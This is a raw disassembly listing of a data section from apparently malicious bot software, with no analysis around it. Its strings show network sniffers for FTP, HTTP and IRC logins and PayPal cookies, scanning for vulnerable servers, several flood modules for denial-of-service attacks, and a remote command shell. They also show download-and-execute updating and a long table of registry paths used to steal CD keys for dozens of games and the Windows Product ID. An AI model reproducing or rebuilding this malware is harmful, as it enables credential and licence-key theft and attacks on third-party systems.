a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_43598C	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359C4	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359FC	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A30	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A64	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A98	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_435AC8	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_435B1C	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_435D44	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_436134	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436148	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 10h
dword_436180	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_436194	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_4361A8	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_4361C4	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 10h
		dd 80000001h
off_4361F4	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436200	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 437384h, 437378h,	437368h, 2 dup(0)
		dd 80000001h, 437348h, 437344h,	437330h, 2 dup(0)
		dd 80000001h, 43730Ch, 437344h,	437300h, 2 dup(0)
		dd 80000001h, 4372DCh, 4372D4h,	4372C0h, 2 dup(0)
		dd 80000001h, 4372ACh, 43729Ch,	437280h, 2 dup(0)
		dd 80000001h, 43723Ch, 4373C4h,	437228h, 2 dup(0)
		dd 80000002h, 4371FCh, 4371F0h,	4371D0h, 2 dup(0)
		dd 80000002h, 43719Ch, 4373C4h,	437184h, 2 dup(0)
		dd 80000002h, 437150h, 4373C4h,	437138h, 2 dup(0)
		dd 80000002h, 437120h, 4373C4h,	437108h, 2 dup(0)
		dd 80000002h, 4370CCh, 43D128h,	4370BCh, 2 dup(0)
		dd 80000002h, 437084h, 43D128h,	437070h, 2 dup(0)
		dd 80000002h, 437024h, 43D128h,	437004h, 2 dup(0)
		dd 80000002h, 436FB4h, 43D128h,	436F88h, 2 dup(0)
		dd 80000002h, 436F4Ch, 43D128h,	436F38h, 2 dup(0)
		dd 80000002h, 436F00h, 43D128h,	436EF0h, 2 dup(0)
		dd 80000002h, 436EA0h, 43D128h,	436E74h, 2 dup(0)
		dd 80000002h, 436E34h, 43D128h,	436E18h, 2 dup(0)
		dd 80000002h, 436DE8h, 43D128h,	436DC8h, 2 dup(0)
		dd 80000002h, 436D8Ch, 43D128h,	436D78h, 2 dup(0)
		dd 80000002h, 436D30h, 43D128h,	436D10h, 2 dup(0)
		dd 80000002h, 436CBCh, 43D128h,	436C8Ch, 2 dup(0)
		dd 80000002h, 436C3Ch, 43D128h,	436C10h, 2 dup(0)
		dd 80000002h, 436BD0h, 436BC8h,	436BA8h, 2 dup(0)
		dd 80000002h, 436B64h, 43D128h,	436B48h, 2 dup(0)
		dd 80000002h, 436AFCh, 43D128h,	436AD8h, 2 dup(0)
		dd 80000002h, 436AA4h, 43D128h,	436A98h, 2 dup(0)
		dd 80000002h, 436A64h, 43D128h,	436A58h, 2 dup(0)
		dd 80000002h, 436A24h, 43D128h,	436A18h, 2 dup(0)
		dd 80000002h, 4369E4h, 43D128h,	4369D8h, 2 dup(0)
		dd 80000002h, 43699Ch, 43D128h,	436988h, 2 dup(0)
		dd 80000002h, 43694Ch, 43D128h,	436938h, 2 dup(0)
		dd 80000002h, 436908h, 4373C4h,	4368ECh, 2 dup(0)
		dd 80000002h, 4368CCh, 4368C4h,	4368A0h, 2 dup(0)
		dd 80000002h, 436884h, 4368C4h,	436864h, 2 dup(0)
		dd 80000002h, 436844h, 4368C4h,	436820h, 2 dup(0)
		dd 80000002h, 436808h, 4368C4h,	436804h, 2 dup(0)
		dd 80000002h, 4367E8h, 4367D8h,	4367D0h, 2 dup(0)
		dd 80000002h, 43679Ch, 42C218h,	436784h, 2 dup(0)
		dd 80000002h, 436748h, 43673Ch,	436714h, 436704h, 4366F0h
		dd 80000002h, 4366CCh, 4366C0h,	4366ACh, 43669Ch, 436694h
		dd 80000002h, 4366CCh, 4366C0h,	436668h, 43669Ch, 436660h
		dd 80000002h, 4366CCh, 4366C0h,	436630h, 43669Ch, 436628h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 10h
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 10h
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 10h
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 10h
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 10h
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 10h
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 10h
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 10h
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 10h
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 10h
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 10h
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 10h
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 10h
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 10h
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo
aCdkey		db 'CDKey',0            ; DATA XREF: ___:004361F8o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o
		align 4
asc_4373F4:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_4373F8	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437474	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_437498	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_4374B0	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_4374DC	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_437500	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437518	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437530	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_437550	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437574	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_437598	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_4375C4	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_4375E4	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_437614	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_437644	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437670	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4376A4	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_4376E8	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_437704	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_43773C	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437764	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_437790	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_4377B8	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_4377E0	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 10h
off_437830	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_437834	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 4
unk_437848	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437884	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
